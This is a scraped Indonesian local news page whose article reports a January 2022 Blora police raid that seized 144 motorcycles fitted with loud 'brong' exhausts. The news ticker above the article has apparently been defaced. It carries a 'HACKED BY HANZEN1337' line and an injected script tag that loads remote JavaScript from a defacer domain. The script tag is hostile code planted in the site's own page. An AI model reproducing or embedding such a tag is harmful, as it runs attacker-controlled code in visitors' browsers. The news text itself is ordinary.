News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Bikin Resah Warga, Ratusan Motor Berknalpot Brong Diamankan Polres Blora

Bikin Resah Warga, Ratusan Motor Berknalpot Brong Diamankan Polres Blora

Blora - Satuan Lalu Lintas (Sat Lantas) Polres Blora, Polda Jawa Tengah, dibantu oleh petugas gabungan Polres Blora, pada Sabtu (15/01/2022) malam hingga Minggu (16/01/2022) dini tari tadi, menggelar razia kendaraan, utamanya sepeda motor yang menggunakan knalpot bisinga atau knalpot brong.
 
 
Dalam razia tersebut, petugas berhasil melakukan penindakan terhadap 182 pelanggar, dengan rincian pelanggaran knalpot brong sebanyak 130 dan 52 lainnya pelanggaran lalu lintas yang dapat menimbulkan fatalitas kecelakaan.
 
Dari 182 pelanggar tersebut, sebanyak 144 sepeda motor diamankan petutgas.
 
 

Anggota Sat Lantas Polres Blora, saat menggelar razia kendaraan yang menggunakan knalpot bisinga atau knalpot brong. Minggu (16/01/2022) dini tari. (foto: dok istimewa)

 
Kasat Lantas Polres Blora AKP Edi Sukamto SH MH, menjelaskan bahwa razia tersebut dilaksanakan setelah adanya aduan masyarakat yang merasa terganggu atau tidak nyaman dengan maraknya kendaraan yang menggunakan knalpot brong.
Menurutnya, razia knalpot brong tersebut menjadi atensi Kapolda Jawa Tengah untuk mewujudkan Jateng Zero Knalpot Brong.
 
"Razia ini juga dalam rangka menindak lanjuti aduan dari masyarakat yang mengeluhkan karena banyaknya pengendara motor yang menggunakan knalpot brong yang menimbulkan kebisingan serta ketidak nyamanan warga,” tutur AKP Edi Sukamto.
 
 
Lebih lanjut AKP Edi menjelaskan, razia digelar di dua titik strategis yang biasa dilewati pengguna kendaraan dengan knalpot brong, yaitu di Bundaran Tugu Pancasila dan depan Kantor Sat Lantas Polres Blora.
 
"Dalam razia ini, setidaknya kendaraan bermotor yang disita ada sebanyak 144 sepeda motor," ucapnya.
 
AKP Edi Sukamto menambahkan bahwa razia knalpot brong ini bertujuan untuk menertibkan penggunaan kendaraan khususnya kendaraan bermotor roda dua.
 
 

Anggota Sat Lantas Polres Blora, saat menggelar razia kendaraan yang menggunakan knalpot bisinga atau knalpot brong. Minggu (16/01/2022) dini tari. (foto: dok istimewa)

 
Menurutnya, dalam razia ini kendaraan yang terkena razia knalpot brong disita petugas dan diamankan di Kantor Sat Lantas Polres Blora. Nantinya para pemilik dapat mengambil kendaraan namun ada beberapa persyaratan yang harus dilakukan.
 
“Pemilik motor diperkenankan mengambil kendaraannya dengan syarat harus mengganti knalpot brong dengan knalpot standard setelah sidang,” kata AKP Edi.
 
 
AKP Edi berharap, masyarakat selalu mematuhi peraturan lalu lintas, termasuk tidak mengganti knalpot standar dengan brong. Selain mengganggu pengguna jalan lain dan masyarakat di sekitar lokasi, knalpot brong juga melanggar pasal 285 ayat 1 undang-undang lalu lintas dan angkutan jalan.
 
"Kepada masyarakat pengguna jalan untuk tetap mematuhi tata tertib dalam berlalu-lintas. Dengan begitu bisa menekan angka kecelakaan lalu lintas di jalan raya," kata AKP Edi Sukamto. (teg/imm)
 
 
Reporter: Priyo SPd
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
 
Berita Terkait
1783887255.96 at start, 1783887256.4878 at end, 0.52788209915161 sec elapsed